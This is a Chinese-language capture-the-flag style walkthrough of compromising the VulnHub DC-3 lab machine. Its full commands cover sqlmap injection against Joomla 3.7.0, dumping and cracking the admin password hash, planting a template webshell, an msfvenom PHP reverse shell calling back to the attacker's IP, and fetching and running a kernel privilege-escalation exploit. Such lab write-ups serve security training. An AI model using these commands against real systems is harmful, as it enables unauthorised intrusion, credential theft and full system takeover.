下载官网地址:https://www.vulnhub.com/entry/dc-32,312/
攻击机kali的IP地址:192.168.37.129
环境配置
kali和DC-3这里都用NAT模式.
DC-3需要多修改一些东西
把IDE里面的改成IDE 0:0
一、信息收集
查找靶机的IP地址
方法一:
nmap -sP 192.168.37.0/24
方法二:
arp-scan -l
可以确定DC-3靶机的IP地址为 192.168.37.134,扫描该IP地址开放的服务
该IP只开放了一个80端口,则去访问该IP地址的80端口
通过 Wappalyzer 可以看到该网站用的CMS是Joomla
对于一个存在登录框的页面,尝试了一下对用户名和密码的爆破,但是没有任何结果,对登录框试着sql注入也没有结果
使用kali的dirsearch扫描网站目录,访问扫描出的路径,发现 /administrator 是一个后台登录页面
二、漏洞利用
1、sql注入
在kali中,JoomScan可以用于检测 Joomla 是否存在可利用的漏洞,工作原理与WPScan类似
使用该命令对网站进行扫描:
joomscan -u http://192.168.37.134
通过 Joomscan 可以看到该网站的版本号为 3.7.0 ,也可以直接扫描到它的登陆后台
搜索一下 joomla 3.7.0 存在着sql注入的漏洞,则可以在本地的漏洞库中搜索一下该漏洞
searchploit joomla 3.7.0
查看该漏洞库文本的内容,该版本存在 updatexml 报错注入,文本中给出了存在sql注入的点和跑sqlmap的格式,则在网页中使用SQL注入的POC查看一下注入的地方
爆库
sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --batch
得到了五个数据库,既然网站是joomla,就优先查看了joomladb库
爆表
sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering] --batch
可以发现存在一个 #__users 表,继续尝试爆字段
爆字段
sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --dump -p list[fullordering] --batch
发现爆字段失败,无法获取字段名。
那只能试着猜一猜在 #__users 表中存在哪些字段名,既然是用户表肯定存在着用户名和密码
最后利用name 和 passwd 爆破出admin的账户和密码
sqlmap -u "http://192.168.37.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -D joomladb -T '#__users' -C name,password --dump --batch
得到了admin用户的密码,在md5在线解密网站也解不出来,应该是某种hash加密
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
可以利用kali内密码爆破工具 john ,将密码保存到文档中,直接用 john来爆破密码
得出密码为snoopy,去之前扫到的后台登录即可
2、文件上传
成功登录后访问网站,在网站中查找可以利用的点
进入网站后看到 "Install Extensions" 猜测里面会不会存在文件上传漏洞,试验了下并不能传文件上去
最后在 "Templates" 中发现有可以利用的地方
进入模板页面,可以发现有两个模板,两个都可以进行利用,选一个就好了
进入模板后可以发现网页的源代码
之前扫描网站根目录的时候扫出来的目录就用在了这地方,可以看到文件的保存路径,也可以根据上方的提示找到路径
这里我尝试在这加入简单的一句话木马,再保存
保存成功后去蚁剑来连接,显示连接成功,这样我们就拿到了webshell了
然后就遇到了问题,在终端中,想着去拿到稳定的shell,但是发现这个版本不支持 nc -e这个选项
msfconsole 建立连接
然后通过搜索浏览知道可以通过msf来创建一个木马然后再进行上传
首先,在msfconsole中查看该模块需要确定的是payload、LHOST、LPORT三点
则使用命令msfvenom来生成木马,然后将木马写到一个shell.php文件中,再查看这个文件,可以得到我们需要的木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.37.129 LPORT=4444 > shell.php
再将木马复制到剪切板中,回到网页中,新建一个shell.php的,将内容复制到shell.php中
通过路径访问该网页查看内容是否有效、是否被编译
然后进入msfconsole,使用常见的一个监听模块 exploit/multi/handler
use exploit/multi/handler
然后查看配置,首先需要配置LHOST,然后还需要修改一下payload为 php/meterpreter/reverse_tcp,前面创建木马的侦听端口就是4444,所以这里就不需要修改LPORT,修改完成后运行
运行后,重新访问一下木马页面,即自动反弹连接成功,这样我们就拿到了他的shell了
建立shell,然后利用python建立一个交互式界面
三、提权
先查看了一下能否suid提权,没有可以利用的地方
find / -perm -u=s -type f 2>/dev/null
则查看该内核的版本
uname -a
使用linux 4.4.0-21-generic #37-Ubuntu,在网上查找是ubuntu16.04
然后在kali的漏洞库中寻找关于ubuntu16.04的权限提升的漏洞
serachsploit ubuntu16.04 linux
打开文件查看具体的利用方法
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
可以看到它的执行文件和下载的地址
将exp下载到本地
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
将 39772.zip 压缩包进行解压缩后得到了两 .tar 文件的压缩包
unzip 39772.zip
再将 exploit.tar 文件解压缩,可以发现之前文本中提到的执行文件
tar -xvf exploit.tar
最后执行刚刚漏洞利用文件演示的代码
./compile.sh
./doubleput
执行 whoami 回显的是 root 则提权成功了